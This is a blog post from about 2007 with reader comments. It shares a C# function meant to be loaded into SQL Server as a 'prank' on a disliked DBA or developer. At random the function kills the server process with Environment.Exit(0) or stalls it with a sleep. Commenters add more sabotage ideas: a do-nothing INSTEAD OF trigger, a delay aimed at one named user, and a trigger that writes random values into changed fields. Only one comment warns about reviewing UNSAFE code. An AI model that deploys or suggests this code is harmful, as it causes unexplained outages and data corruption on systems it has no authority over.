SQL Server 2005 evil DBA prank
Today I feel a bit evil minded so I thought I'd share this little prank-friendly function.
If you put this into a .Net Assembly you import to SQL Server as a function or a stored procedure
you can wreck some real havoc :)
private static void SQLPrank() { Random r1 = new Random(DateTime.Now.Millisecond); int lowerBound = r1.Next(1000, 2000); int upperBound = r1.Next(3000, 4000); int randomNumber = r1.Next(1000, 4000); /* 1000 2000 3000 4000 |----------------|----------------|----------------| .....|...................................|.......... random lower bound random upper bound ..........................|......................... random number |----|-----------------------------------|---------| Exit Normal operation Wait */ if (randomNumber >= 1000 && randomNumber < lowerBound) Environment.Exit(0); else if (randomNumber >= upperBound && randomNumber < 4000) Thread.Sleep(5000); }
The gem here is the Environment.Exit(0) which shuts down SQL Server without anyone having a clue why.
This is perfect for a prank on your least favorite DBA or developer. :)
Legacy Comments
Matt G
2007-11-16 |
re: SQL Server 2005 evil DBA prank I always thought a cruel prank was to set up an "instead of" trigger that did nothing! |
Mladen
2007-11-16 |
re: SQL Server 2005 evil DBA prank uuuu... combined with this in an instead triiger... ufff!! :)) that would be something! |
Scott Whigham
2007-11-16 |
re: SQL Server 2005 evil DBA prank Wow - dunno what to say to that one. That would stump anyone for hours and hours. I would not be your friend when I found out the true answer :) Also good is the "old standby": ALTER PROC GetEmployeeInfo (@EmpId INT) AS IF USER = 'Mike' WAITFOR DELAY '00:00:07' SELECT * FROM EmployeeId=@EmpId GO |
Adam Machanic
2009-06-15 |
re: SQL Server 2005 evil DBA prank So the moral of the story here is to not trust UNSAFE code. That's why it's called "unsafe". If you do need unsafe code in your environment, it should be carefully reviewed by more than one person before deployment to make sure that there are no issues. And only authorized people should have access to deploy that kind of code to any servers that are of any value (including dev servers - bringing one down can cost the company plenty in terms of productivity). |
JeffOrwick
2010-07-03 |
re: SQL Server 2005 evil DBA prank Try An on insert or update trigger that changes altered fields to random values |